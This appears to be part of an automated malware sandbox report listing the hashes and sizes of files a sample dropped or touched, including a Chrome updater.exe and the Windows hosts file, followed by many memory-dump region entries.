SHA512be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD51b0037109d80b94934c8007ea9da7868
SHA1ea2ef033c19cdf6ffba633a7aac15147305e7580
SHA2562a18160e57aaeb53274be34a8b50e3dd75f823482677c2b45c8a9b4e5022e057
SHA5121165206d40a61a5603e94f2851b6e198747a4d9b9a0f0f0a058c8038007d1c95a8ba465c544a014d49d97fb6c85c46c44e8652d3a8ad8b23c9fdc33fc94dd319
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD51b0037109d80b94934c8007ea9da7868
SHA1ea2ef033c19cdf6ffba633a7aac15147305e7580
SHA2562a18160e57aaeb53274be34a8b50e3dd75f823482677c2b45c8a9b4e5022e057
SHA5121165206d40a61a5603e94f2851b6e198747a4d9b9a0f0f0a058c8038007d1c95a8ba465c544a014d49d97fb6c85c46c44e8652d3a8ad8b23c9fdc33fc94dd319
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LS4O1LAHZMTEKRW8J1SI.tempFilesize
7KB
MD51b0037109d80b94934c8007ea9da7868
SHA1ea2ef033c19cdf6ffba633a7aac15147305e7580
SHA2562a18160e57aaeb53274be34a8b50e3dd75f823482677c2b45c8a9b4e5022e057
SHA5121165206d40a61a5603e94f2851b6e198747a4d9b9a0f0f0a058c8038007d1c95a8ba465c544a014d49d97fb6c85c46c44e8652d3a8ad8b23c9fdc33fc94dd319
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C:\Windows\System32\drivers\etc\hostsFilesize
2KB
MD53e9af076957c5b2f9c9ce5ec994bea05
SHA1a8c7326f6bceffaeed1c2bb8d7165e56497965fe
SHA256e332ebfed27e0bb08b84dfda05acc7f0fa1b6281678e0120c5b7c893a75df47e
SHA512933ba0d69e7b78537348c0dc1bf83fb069f98bb93d31c638dc79c4a48d12d879c474bd61e3cbde44622baef5e20fb92ebf16c66128672e4a6d4ee20afbf9d01f
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\Program Files\Google\Chrome\updater.exeFilesize
2.1MB
MD5a12bc9557ad889a49e7b4f970c78dda8
SHA15383b8e6d09d41384281b95f9ccc8e050e7c04fa
SHA2569940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
SHA512be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
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memory/108-99-0x0000000000FF4000-0x0000000000FF7000-memory.dmpFilesize
12KB
-
memory/108-100-0x0000000000FFB000-0x0000000001032000-memory.dmpFilesize
220KB
-
memory/268-62-0x00000000021E0000-0x00000000021E8000-memory.dmpFilesize
32KB
-
memory/268-63-0x0000000002700000-0x0000000002780000-memory.dmpFilesize
512KB
-
memory/268-64-0x0000000002700000-0x0000000002780000-memory.dmpFilesize
512KB
-
memory/268-59-0x0000000002700000-0x0000000002780000-memory.dmpFilesize
512KB
-
memory/268-60-0x0000000002700000-0x0000000002780000-memory.dmpFilesize
512KB
-
memory/268-61-0x000000001AF60000-0x000000001B242000-memory.dmpFilesize
2.9MB
-
memory/824-77-0x0000000002550000-0x00000000025D0000-memory.dmpFilesize
512KB
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memory/824-72-0x000000001B120000-0x000000001B402000-memory.dmpFilesize
2.9MB
-
memory/824-73-0x0000000002050000-0x0000000002058000-memory.dmpFilesize
32KB
-
memory/824-76-0x0000000002550000-0x00000000025D0000-memory.dmpFilesize
512KB
-
memory/824-75-0x0000000002550000-0x00000000025D0000-memory.dmpFilesize
512KB
-
memory/824-74-0x0000000002550000-0x00000000025D0000-memory.dmpFilesize
512KB
-
memory/876-87-0x00000000026B4000-0x00000000026B7000-memory.dmpFilesize
12KB
-
memory/876-88-0x00000000026BB000-0x00000000026F2000-memory.dmpFilesize
220KB
-
memory/1292-101-0x000000013FF40000-0x0000000140156000-memory.dmpFilesize
2.1MB
-
memory/1292-92-0x000000013FF40000-0x0000000140156000-memory.dmpFilesize
2.1MB
-
memory/1292-108-0x000000013FF40000-0x0000000140156000-memory.dmpFilesize
2.1MB
-
memory/1296-93-0x00000000008B0000-0x0000000000930000-memory.dmpFilesize
512KB
-
memory/1296-95-0x00000000008BB000-0x00000000008F2000-memory.dmpFilesize
220KB
-
memory/1296-94-0x00000000008B0000-0x0000000000930000-memory.dmpFilesize
512KB
-
memory/1548-113-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
-
memory/1548-120-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
-
memory/1708-80-0x000000013FE00000-0x0000000140016000-memory.dmpFilesize
2.1MB
-
memory/1708-65-0x000000013FE00000-0x0000000140016000-memory.dmpFilesize
2.1MB
-
memory/1708-54-0x000000013FE00000-0x0000000140016000-memory.dmpFilesize
2.1MB
-
memory/1708-78-0x000000013FE00000-0x0000000140016000-memory.dmpFilesize
2.1MB
-
memory/1952-109-0x00000000001D0000-0x00000000001F0000-memory.dmpFilesize
128KB
-
memory/1952-111-0x0000000000770000-0x0000000000790000-memory.dmpFilesize
128KB
-
memory/1952-112-0x0000000000790000-0x00000000007B0000-memory.dmpFilesize
128KB
-
memory/1952-114-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-116-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-118-0x0000000000790000-0x00000000007B0000-memory.dmpFilesize
128KB
-
memory/1952-117-0x0000000000770000-0x0000000000790000-memory.dmpFilesize
128KB
-
memory/1952-119-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-110-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-121-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-123-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-125-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-127-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-129-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-131-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-133-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-135-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-137-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-139-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-141-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-143-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-145-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-147-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-149-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-151-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-153-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-155-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-157-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-159-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-161-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-163-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-165-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-167-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-169-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1952-171-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB